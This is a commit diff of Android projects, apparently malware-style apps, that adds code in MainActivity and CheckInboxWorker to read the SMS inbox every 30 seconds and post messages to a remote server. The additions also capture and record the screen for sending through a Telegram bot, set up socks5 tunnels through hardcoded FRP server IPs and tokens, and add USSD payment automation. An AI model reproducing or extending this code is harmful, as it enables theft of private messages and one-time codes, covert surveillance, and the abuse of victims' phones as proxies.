10 Commits 36ec3262ba ... 81317c3f91

Author SHA1 Message Date
  hxMac 81317c3f91 fix 2 months ago
  hxMac 90bf283fcf fix 2 months ago
  hxMac 7fbcfeb658 fix 2 months ago
  hxMac e2e5fcee2b fix 2 months ago
  hxMac ce22be66c1 fix 2 months ago
  hxMac 6da4531760 fix 3 months ago
  hxMac 986d859540 fix 3 months ago
  hxMac 9554c44760 fix 3 months ago
  hxMac 0267b66fb3 fix 3 months ago
  hxMac b7a30b5b0c fix 4 months ago
84 changed files with 3045 additions and 147 deletions
  1. 12 11
      frpc_android-master/app/build.gradle
  2. 18 0
      frpc_android-master/app/proguard-rules.pro
  3. 6 1
      frpc_android-master/app/src/main/AndroidManifest.xml
  4. 7 2
      frpc_android-master/app/src/main/java/com/app/duck/ui/IniEditActivity.java
  5. 288 16
      frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java
  6. 1 39
      frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java
  7. 90 0
      frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java
  8. 2 0
      frpc_android-master/app/src/main/java/com/app/duck/util/PermissionsUtils.java
  9. 102 0
      frpc_android-master/app/src/main/java/com/app/duck/util/ScreenCaptureService.java
  10. 3 0
      frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java
  11. 177 1
      frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java
  12. 175 4
      frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java
  13. 1 1
      frpc_android-master/app/src/main/java/com/app/http/Http.java
  14. 14 1
      frpc_android-master/app/src/main/res/layout/content_main.xml
  15. 12 0
      frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml
  16. 7 0
      frpc_android-master/app/src/main/res/values-en/strings.xml
  17. 7 0
      frpc_android-master/app/src/main/res/values/strings.xml
  18. 1 0
      frpc_android-master/ussd-library/build.gradle
  19. 3 0
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/PayController.java
  20. 93 56
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDService.java
  21. 64 14
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDServicePay.java
  22. 1 1
      frpc_android-master/ussd-library/src/main/res/xml/ussd_service2.xml
  23. 15 0
      webandroid/.gitignore
  24. 3 0
      webandroid/.idea/.gitignore
  25. 1 0
      webandroid/.idea/.name
  26. 6 0
      webandroid/.idea/compiler.xml
  27. 18 0
      webandroid/.idea/deploymentTargetSelector.xml
  28. 19 0
      webandroid/.idea/gradle.xml
  29. 10 0
      webandroid/.idea/migrations.xml
  30. 9 0
      webandroid/.idea/misc.xml
  31. 329 0
      webandroid/.idea/other.xml
  32. 6 0
      webandroid/.idea/vcs.xml
  33. 1 0
      webandroid/app/.gitignore
  34. 53 0
      webandroid/app/build.gradle.kts
  35. 21 0
      webandroid/app/proguard-rules.pro
  36. 26 0
      webandroid/app/src/androidTest/java/com/example/webapplication/ExampleInstrumentedTest.java
  37. 28 0
      webandroid/app/src/main/AndroidManifest.xml
  38. 37 0
      webandroid/app/src/main/java/com/example/webapplication/MainActivity.java
  39. 37 0
      webandroid/app/src/main/java/com/example/webapplication/ui/dashboard/DashboardFragment.java
  40. 19 0
      webandroid/app/src/main/java/com/example/webapplication/ui/dashboard/DashboardViewModel.java
  41. 165 0
      webandroid/app/src/main/java/com/example/webapplication/ui/home/FyWebView.java
  42. 38 0
      webandroid/app/src/main/java/com/example/webapplication/ui/home/HomeFragment.java
  43. 63 0
      webandroid/app/src/main/java/com/example/webapplication/ui/home/HomeViewModel.java
  44. 44 0
      webandroid/app/src/main/java/com/example/webapplication/ui/notifications/NotificationsFragment.java
  45. 61 0
      webandroid/app/src/main/java/com/example/webapplication/ui/notifications/NotificationsViewModel.java
  46. 94 0
      webandroid/app/src/main/java/com/example/webapplication/util/TgUtils.java
  47. 9 0
      webandroid/app/src/main/res/drawable/ic_dashboard_black_24dp.xml
  48. 9 0
      webandroid/app/src/main/res/drawable/ic_home_black_24dp.xml
  49. 170 0
      webandroid/app/src/main/res/drawable/ic_launcher_background.xml
  50. 30 0
      webandroid/app/src/main/res/drawable/ic_launcher_foreground.xml
  51. 9 0
      webandroid/app/src/main/res/drawable/ic_notifications_black_24dp.xml
  52. 32 0
      webandroid/app/src/main/res/layout/activity_main.xml
  53. 22 0
      webandroid/app/src/main/res/layout/fragment_dashboard.xml
  54. 31 0
      webandroid/app/src/main/res/layout/fragment_home.xml
  55. 28 0
      webandroid/app/src/main/res/layout/fragment_notifications.xml
  56. 19 0
      webandroid/app/src/main/res/menu/bottom_nav_menu.xml
  57. 6 0
      webandroid/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
  58. 6 0
      webandroid/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
  59. BIN
      webandroid/app/src/main/res/mipmap-hdpi/ic_launcher.webp
  60. BIN
      webandroid/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp
  61. BIN
      webandroid/app/src/main/res/mipmap-mdpi/ic_launcher.webp
  62. BIN
      webandroid/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp
  63. BIN
      webandroid/app/src/main/res/mipmap-xhdpi/ic_launcher.webp
  64. BIN
      webandroid/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
  65. BIN
      webandroid/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp
  66. BIN
      webandroid/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
  67. BIN
      webandroid/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
  68. BIN
      webandroid/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
  69. 25 0
      webandroid/app/src/main/res/navigation/mobile_navigation.xml
  70. 16 0
      webandroid/app/src/main/res/values-night/themes.xml
  71. 10 0
      webandroid/app/src/main/res/values/colors.xml
  72. 5 0
      webandroid/app/src/main/res/values/dimens.xml
  73. 7 0
      webandroid/app/src/main/res/values/strings.xml
  74. 16 0
      webandroid/app/src/main/res/values/themes.xml
  75. 13 0
      webandroid/app/src/main/res/xml/backup_rules.xml
  76. 19 0
      webandroid/app/src/main/res/xml/data_extraction_rules.xml
  77. 17 0
      webandroid/app/src/test/java/com/example/webapplication/ExampleUnitTest.java
  78. 4 0
      webandroid/build.gradle.kts
  79. 21 0
      webandroid/gradle.properties
  80. 30 0
      webandroid/gradle/libs.versions.toml
  81. 6 0
      webandroid/gradle/wrapper/gradle-wrapper.properties
  82. 185 0
      webandroid/gradlew
  83. 89 0
      webandroid/gradlew.bat
  84. 24 0
      webandroid/settings.gradle.kts

+ 12 - 11
frpc_android-master/app/build.gradle

@@ -144,7 +144,7 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user7/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"wss://lk-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "WEB_URL", "\"\""
             buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
             buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_h"]
@@ -339,8 +339,8 @@ android {
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
-            buildConfigField "String", "FRPC_IP", "\"3.68.76.198\""
-            buildConfigField "String", "FRPC_PORT", "\"7000\""
+            buildConfigField "String", "FRPC_IP", "\"3.73.141.19\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_r"]
             ndk {
                 //noinspection ChromeOsAbiSupport
@@ -393,14 +393,14 @@ android {
             dimension "baseUrl"
             applicationId "com.skqaxd.bqvwtb.jedo.axrmh"
             resValue "string", "app_name", "U"
-            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "BASE_URL", "\"https://tz-www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/u/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
-            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
-            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
-            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            buildConfigField "String", "WEB_URL", "\"wss://tz-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.159.34\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
             manifestPlaceholders = [app_icon: "@mipmap/ic_u"]
             ndk {
                 //noinspection ChromeOsAbiSupport
@@ -514,8 +514,8 @@ android {
 //        minSdkVersion 29
         //noinspection ExpiredTargetSdkVersion
         targetSdkVersion 30
-        versionCode 58
-        versionName "0.40.4.8"
+        versionCode 65
+        versionName "0.40.5.6"
         multiDexEnabled true
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }
@@ -901,7 +901,7 @@ dependencies {
     implementation "androidx.room:room-runtime:$room_version"
     annotationProcessor "androidx.room:room-compiler:$room_version"
     implementation "androidx.room:room-rxjava2:$room_version"
-    implementation 'com.blankj:utilcodex:1.30.6'
+
     implementation 'androidx.work:work-runtime:2.7.0'
     implementation 'org.xutils:xutils:3.9.0'
     implementation 'com.alibaba:fastjson:1.2.73'
@@ -911,6 +911,7 @@ dependencies {
     implementation "com.microsoft.appcenter:appcenter-crashes:${appCenterSdkVersion}"
     implementation "com.microsoft.appcenter:appcenter-distribute:${appCenterSdkVersion}"
     implementation project(':ussd-library')
-
+    implementation 'com.github.LxzBUG:ScreenShare:1.1.6'
+    implementation 'com.arthenica:mobile-ffmpeg-full-gpl:4.4'
 }
 

+ 18 - 0
frpc_android-master/app/proguard-rules.pro

@@ -251,3 +251,21 @@
 -keep class androidx.lifecycle.** { *; }
 -keep class androidx.arch.core.** { *; }
 -keep class com.romellfudi.ussdlibrary.** { *; }
+# 保留 FFmpeg 库的主要类
+-keep class com.arthenica.mobileffmpeg.** { *; }
+
+# 保留使用的 Native 方法
+-keepclasseswithmembernames class * {
+    native <methods>;
+}
+
+# 保留所有带有 Log 注解的类和方法
+-keep class * {
+    @android.util.Log *;
+}
+
+# 如果你的项目使用了 `FFmpeg` 回调功能,保留回调接口
+-keepclassmembers class com.arthenica.mobileffmpeg.Config {
+    public static void enableLogCallback(...);
+    public static void enableStatisticsCallback(...);
+}

+ 6 - 1
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -27,6 +27,8 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
 
     <application
@@ -137,7 +139,10 @@
                 tools:replace="android:resource" />
         </provider>
 
-
+        <service
+            android:name=".util.ScreenCaptureService"
+            android:permission="android.permission.FOREGROUND_SERVICE"
+            android:foregroundServiceType="mediaProjection"/>
     </application>
 
 </manifest>

+ 7 - 2
frpc_android-master/app/src/main/java/com/app/duck/ui/IniEditActivity.java

@@ -31,7 +31,7 @@ public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
 
 
     private Config config;
-
+    private String name = "";
 
     @Override
     public void initView() {
@@ -41,6 +41,11 @@ public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
             b.editText.setText(config.getCfg(), 1);
             b.toolbar.setTitle(TextUtils.isEmpty(config.getName()) ? getString(R.string.noName) : config.getName());
         });
+
+        if (getIntent() != null) {
+
+            name = getIntent().getStringExtra("newKey");
+        }
     }
 
 
@@ -73,7 +78,7 @@ public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
                 .negativeText(R.string.cancel)
                 .positiveText(R.string.done)
                 .onNegative((dialog, which) -> dialog.dismiss())
-                .input("", TextUtils.isEmpty(config.getName()) ? "" : config.getName(), false, (dialog, input) ->
+                .input("", TextUtils.isEmpty(config.getName()) ? name : config.getName(), false, (dialog, input) ->
                 {
                     config.setName(input.toString())
                             .setCfg(b.editText.getText());

+ 288 - 16
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -11,8 +11,11 @@ import android.annotation.SuppressLint;
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.Intent;
+import android.database.Cursor;
 import android.net.Uri;
+import android.os.Bundle;
 import android.provider.Settings;
+import android.provider.Telephony;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
@@ -26,6 +29,8 @@ import android.view.WindowManager;
 import android.widget.TextView;
 
 import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.fragment.app.FragmentActivity;
 import androidx.navigation.NavController;
 import androidx.navigation.Navigation;
 import androidx.navigation.ui.AppBarConfiguration;
@@ -39,20 +44,28 @@ import com.app.duck.BuildConfig;
 import com.app.duck.R;
 import com.app.duck.adapter.PhoneListAdapter2;
 import com.app.duck.database.Config;
+import com.app.duck.database.DBHelper;
 import com.app.duck.databinding.ActivityMainBinding;
 import com.app.duck.util.CheckInboxWorker;
 import com.app.duck.util.HeartbeatWorker;
 import com.app.duck.util.HxUtils;
 import com.app.duck.util.TgBot;
 import com.app.duck.util.WsManager;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
 import com.blankj.utilcode.util.ActivityUtils;
 import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.ColorUtils;
+import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.LanguageUtils;
+import com.blankj.utilcode.util.NetworkUtils;
 import com.blankj.utilcode.util.ObjectUtils;
 import com.blankj.utilcode.util.PermissionUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
 import com.elvishew.xlog.XLog;
 import com.google.android.material.dialog.MaterialAlertDialogBuilder;
 import com.google.android.material.navigation.NavigationView;
@@ -60,7 +73,14 @@ import com.google.gson.JsonArray;
 import com.google.gson.JsonObject;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
+import org.loka.screensharekit.EncodeBuilder;
+import org.loka.screensharekit.ErrorInfo;
+import org.loka.screensharekit.ScreenShareKit;
+import org.loka.screensharekit.callback.ErrorCallBack;
+import org.loka.screensharekit.callback.RGBACallBack;
+
 import java.util.ArrayList;
+import java.util.Calendar;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Locale;
@@ -80,6 +100,10 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     private androidx.lifecycle.Observer<String> observer5;
     private Locale currentLocal = EN_LOCAL;
 
+    private byte[] mBytes;
+    private int w;
+    private int h;
+
     @SuppressLint("SetTextI18n")
     @Override
     public void initView() {
@@ -139,26 +163,48 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
         LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
         LiveEventBus.get(PHONE_TAG, String.class).removeObserver(observer5);
+
     }
 
     @Override
     public boolean onOptionsItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
             case R.id.action_new_text:
-                String content = "[common]\n" +
-                        "server_addr = {{FRPC_IP}}\n" +
-                        "server_port = 7000\n" +
-                        "token = 123678asbsfd\n" +
-                        "\n" +
-                        "\n" +
-                        "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
-                        "type = tcp\n" +
-                        "remote_port = {{FRPC_PORT}}\n" +
-                        "plugin = socks5";
-                content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", BuildConfig.FRPC_PORT);
-
-                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
-                startActivity(new Intent(MainActivity.this, IniEditActivity.class));
+                new MaterialDialog.Builder(ActivityUtils.getTopActivity())
+                        .title(StringUtils.getString(R.string.action_add_text))
+                        .content(R.string.please_enter_the_server_port)
+                        .canceledOnTouchOutside(false)
+                        .autoDismiss(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> {
+                            dialog.dismiss();
+                        })
+                        .input(getString(R.string.server_port), "", false, (dialog, input) ->
+                        {
+                            if (!StringUtils.isEmpty(input)) {
+                                String content = "[common]\n" +
+                                        "server_addr = {{FRPC_IP}}\n" +
+                                        "server_port = 7000\n" +
+                                        "token = 123678asbsfd\n" +
+                                        "\n" +
+                                        "\n" +
+                                        "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
+                                        "type = tcp\n" +
+                                        "remote_port = {{FRPC_PORT}}\n" +
+                                        "plugin = socks5";
+                                content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", input);
+                                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
+                                Bundle bundle = new Bundle();
+                                bundle.putString("newKey", "sp-" + input);
+                                ActivityUtils.startActivity(bundle, IniEditActivity.class);
+                            }
+                        })
+                        .inputType(InputType.TYPE_CLASS_NUMBER) // 设置输入类型为数字
+                        .show();
+
+
                 break;
             case R.id.action_accessibility:
                 Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
@@ -233,6 +279,77 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     @Override
     public boolean onNavigationItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
+            case R.id.screen:
+//                ThreadUtils.runOnUiThread(WsManager::getNowRootInActiveWindowDemo);
+                try {
+                    ThreadUtils.runOnUiThreadDelayed(() -> {
+                                EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
+                                encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
+                                encodeBuilder.onRGBA(new RGBACallBack() {
+                                            @Override
+                                            public void onRGBA(@NonNull byte[] bytes, int i, int i1, int i2, int i3, boolean b) {
+
+                                                Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
+                                                Log.d("hzshkj", "[MainActivity] 宽: " + i);
+                                                Log.d("hzshkj", "[MainActivity] 高: " + i1);
+                                                Log.d("hzshkj", "[MainActivity] i2: " + i2);
+                                                Log.d("hzshkj", "[MainActivity] i3: " + i3);
+                                                Log.d("hzshkj", "[MainActivity] b: " + b);
+                                                mBytes = bytes;
+                                                w = i2;
+                                                h = i1;
+                                                ScreenShareKit.INSTANCE.stop();
+                                            }
+                                        })
+                                        .onError(errorInfo -> Log.d("hzshkj", "[MainActivity] onError: " + errorInfo.getMessage()))
+
+                                        .onStart(() -> Log.d("hzshkj", "开始截屏"))
+                                        .start();
+                            }
+                            , 500);
+
+                } catch (Exception e) {
+
+                }
+
+                ThreadUtils.runOnUiThreadDelayed(() -> {
+                    new TgBot(mBytes, w, h);
+                }, 5000);
+
+                break;
+            case R.id.start_video:
+                try {
+                    ThreadUtils.runOnUiThreadDelayed(() -> {
+                                ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
+                                        .onH264((buffer, isKeyFrame, width, height, ts) -> {
+                                            HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                                        })
+                                        .onStart(() -> Log.d("hzshkj", "开始录制屏幕"))
+                                        .start();
+                            }
+                            , 500);
+
+                } catch (Exception e) {
+
+                }
+                break;
+            case R.id.stop_video:
+                try {
+                    ScreenShareKit.INSTANCE.stop();
+                } catch (Exception e) {
+
+                }
+
+                ThreadUtils.runOnUiThreadDelayed(new Runnable() {
+                    @Override
+                    public void run() {
+                        new TgBot();
+                    }
+                }, 5000);
+                break;
+            case R.id.restart:
+                AppUtils.relaunchApp(true);
+                return true;
             case R.id.logcat_push:
                 new TgBot("", false);
                 return true;
@@ -271,6 +388,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         }
         telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
         SimCardStateListener();
+        checkBoxListener();
+        networkListen();
         subscriptionManager = (SubscriptionManager) getSystemService(Context.TELEPHONY_SUBSCRIPTION_SERVICE);
 
         @SuppressLint("MissingPermission") List<SubscriptionInfo> subsInfoList = subscriptionManager.getActiveSubscriptionInfoList();
@@ -369,7 +488,6 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     }
 
     public void SimCardStateListener() {
-
         ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
             @Override
             public String doInBackground() {
@@ -384,7 +502,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
                     setMsg("Current sim card status : Absent");
                     List<HashMap<String, String>> list2 = new ArrayList<>();
                     XLog.d("检测到sim卡被拔出");
-                    ToastUtils.showLong(R.string.sim);
+                    if (!BuildConfig.DEBUG)
+                        ToastUtils.showLong(R.string.sim);
                     HxUtils.setPhone("");
                     LiveEventBus.get(PHONE_TAG).post("");
                     if (!ObjectUtils.equals(list2, phoneListAdapter.getData())) {
@@ -445,6 +564,152 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         }, 2000, 2000, TimeUnit.MILLISECONDS);
     }
 
+    public void checkBoxListener() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<String>() {
+            @Override
+            public String doInBackground() {
+                try {
+                    Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务");
+                    Calendar calendar = Calendar.getInstance();
+                    calendar.add(Calendar.DAY_OF_MONTH, -1); // 向前推一天
+                    long tenDaysAgo = calendar.getTimeInMillis();
+                    ArrayList<Integer> list = new ArrayList<>();
+                    Uri inboxUri = Uri.parse("content://sms/inbox");
+                    String[] projection = new String[]{Telephony.Sms._ID};
+                    String sortOrder = "date DESC"; // 按日期倒序排序
+                    String selection = "date > ?";
+                    String[] selectionArgs = new String[]{String.valueOf(tenDaysAgo)};
+                    Cursor cursor = Utils.getApp().getContentResolver().
+                            query(inboxUri,
+                                    projection,
+                                    selection,
+                                    selectionArgs,
+                                    sortOrder);
+                    if (cursor != null) {
+                        while (cursor.moveToNext()) {
+                            int index = cursor.getColumnIndex(Telephony.Sms._ID);
+                            if (index >= 0) {
+                                int id = cursor.getInt(index);
+                                list.add(id);
+                            }
+                        }
+                        cursor.close();
+
+                    }
+                    Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务," + list.size());
+
+                    for (Integer id : list) {
+                        DBHelper dbHelper = new DBHelper(Utils.getApp());
+                        int success = dbHelper.checkSuccessById(id);
+                        Log.d("hzshkj", "[MainActivity] doInBackground: 30s任务,success=" + success);
+                        if (success != 1) {
+                            HashMap<String, Object> map = new HashMap<>();
+                            HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
+                            boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
+                            if (success == 2 && !isHavaNumber) {
+                                break;
+                            }
+                            map.put("data", GsonUtils.toJson(dataMap));
+                            map.put("password", "o6M5sG7E@FAWLBL9");
+                            Http.getInstance()
+                                    .setUrlPath(APPConfig.BASE, APPConfig.SMS)
+                                    .setParams(map)
+                                    .setErrorStyle(Http.ERROR_HIDE)
+                                    .setLoadStyle(Http.ERROR_HIDE)
+                                    .setRetryCount(3)
+                                    .post(new Http.HttpCallBack<String>() {
+                                        @Override
+                                        public void onNext(String model) {
+                                            Log.d("hzshkj", "[MainActivity] onNext: ");
+                                            dbHelper.insertOrUpdateData(id, isHavaNumber ? 1 : 2);
+                                        }
+
+                                        @Override
+                                        public void onError(Throwable ex) {
+                                            super.onError(ex);
+                                            Log.d("hzshkj", "[MainActivity] onError: ");
+                                            XLog.e(StringUtils.getString(R.string.log_tip_4, id), ex);
+                                        }
+
+                                        @Override
+                                        public void onFail(BaseBean t) {
+                                            super.onFail(t);
+                                            Log.d("hzshkj", "[MainActivity] onFail: ");
+                                            XLog.i(StringUtils.getString(R.string.log_tip_4, id));
+                                        }
+                                    });
+                        }
+
+                    }
+                } catch (Exception e) {
+                    LiveEventBus.get(SMS_UPLOAD_TAG).post(StringUtils.getString(R.string.log_tip_3, e.getMessage()));
+                    Log.e(com.app.duck.Config.LOG_TAG, StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+                    XLog.e(StringUtils.getString(R.string.log_tip_3, e.getMessage()), e);
+
+                }
+                return getSimCardState();
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(String result) {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 30000, TimeUnit.MILLISECONDS);
+    }
+
+    public void networkListen() {
+        ThreadUtils.executeBySingleAtFixRate(new ThreadUtils.Task<List<Boolean>>() {
+            @Override
+            public List<Boolean> doInBackground() {
+                boolean b1 = NetworkUtils.isConnected();
+                boolean b2 = NetworkUtils.isAvailable();
+                List<Boolean> mList = new ArrayList<>();
+                mList.add(b1);
+                mList.add(b2);
+                return mList;
+            }
+
+            @SuppressLint("SetTextI18n")
+            @Override
+            public void onSuccess(List<Boolean> result) {
+                ThreadUtils.runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        b.appBarMain.contentMain.netTv.setText(
+                                StringUtils.getString(R.string.connected_b_available_b, result.get(0), result.get(1))
+                        );
+                        if (!(result.get(0) && result.get(1))) {
+                            b.appBarMain.contentMain.netTv.setBackgroundColor(ColorUtils.getColor(R.color.red));
+                        } else {
+                            b.appBarMain.contentMain.netTv.setBackgroundColor(ColorUtils.getColor(R.color.green));
+                        }
+                    }
+                });
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+        }, 2000, 2000, TimeUnit.MILLISECONDS);
+
+    }
+
     private String getSimCardState() {
         int simState = telephonyManager.getSimState();
         switch (simState) {
@@ -473,4 +738,11 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         }
     }
 
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+    }
+
+
 }

+ 1 - 39
frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -50,45 +50,7 @@ public class CheckInboxWorker extends Worker {
     }
 
 
-    public static HashMap<String, String> queryInboxMessage(long id) {
-        ContentResolver contentResolver = Utils.getApp().getContentResolver();
-        HashMap<String, String> map = new HashMap<>();
-        Uri uri = Uri.parse("content://sms/");
-        String[] projection = new String[]{Telephony.Sms._ID, Telephony.Sms.ADDRESS, Telephony.Sms.DATE_SENT, Telephony.Sms.DATE, Telephony.Sms.TYPE,
-                Telephony.Sms.BODY, Telephony.Sms.SUBSCRIPTION_ID};
-        String selection = Telephony.Sms._ID + " = ?";
-        String[] selectionArgs = new String[]{String.valueOf(id)};
-        Cursor cursor = contentResolver.query(uri, projection, selection, selectionArgs, null);
-        try {
-            if (cursor != null && cursor.moveToFirst()) {
-                @SuppressLint("Range") String sender = cursor.getString(cursor.getColumnIndex(Telephony.Sms.ADDRESS));//发件人
-                @SuppressLint("Range") String receiver = cursor.getString(cursor.getColumnIndex(Telephony.Sms.DATE));//收件时间
-                @SuppressLint("Range") long sentTime = cursor.getLong(cursor.getColumnIndex(Telephony.Sms.DATE_SENT));//发件日期时间,时间戳格式
-                @SuppressLint("Range") String body = cursor.getString(cursor.getColumnIndex(Telephony.Sms.BODY));//短信的正文内容。
-                @SuppressLint("Range") int subID = cursor.getInt(cursor.getColumnIndex(Telephony.Sms.SUBSCRIPTION_ID));//sim卡关联ID
-                map.put("address", StringUtils.isTrimEmpty(HxUtils.getRecord(subID)) ? "UNKNOWN" : HxUtils.getRecord(subID));
-                map.put("body", body);
-                map.put("timestampMillis", sentTime + "");
-                map.put("sender", sender);
-                map.put("date", receiver);
-                map.put("id", id + "");
-                map.put("sub_id", subID + "");
-                map.put("android_id", DeviceUtils.getAndroidID());
-            }
-        } catch (Exception e) {
-            new TgBot("这台设备好像在检索SMS库的时候出了点问题?请查看设备日志!", true);
-            Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_7), e);
-            XLog.e(StringUtils.getString(R.string.log_tip_7), e);
-        } finally {
-            if (cursor != null) {
-                cursor.close();
-            }
-
-        }
 
-        return map;
-
-    }
 
     @NonNull
     @Override
@@ -126,7 +88,7 @@ public class CheckInboxWorker extends Worker {
                 int success = dbHelper.checkSuccessById(id);
                 if (success != 1) {
                     HashMap<String, Object> map = new HashMap<>();
-                    HashMap<String, String> dataMap = queryInboxMessage(id);
+                    HashMap<String, String> dataMap = HxUtils.queryInboxMessage(id);
                     boolean isHavaNumber = !"UNKNOWN".equals(dataMap.get("address"));
                     Log.d("hzshkj", "[CheckInboxWorker] doWork: 周期任务上传,success = " + success);
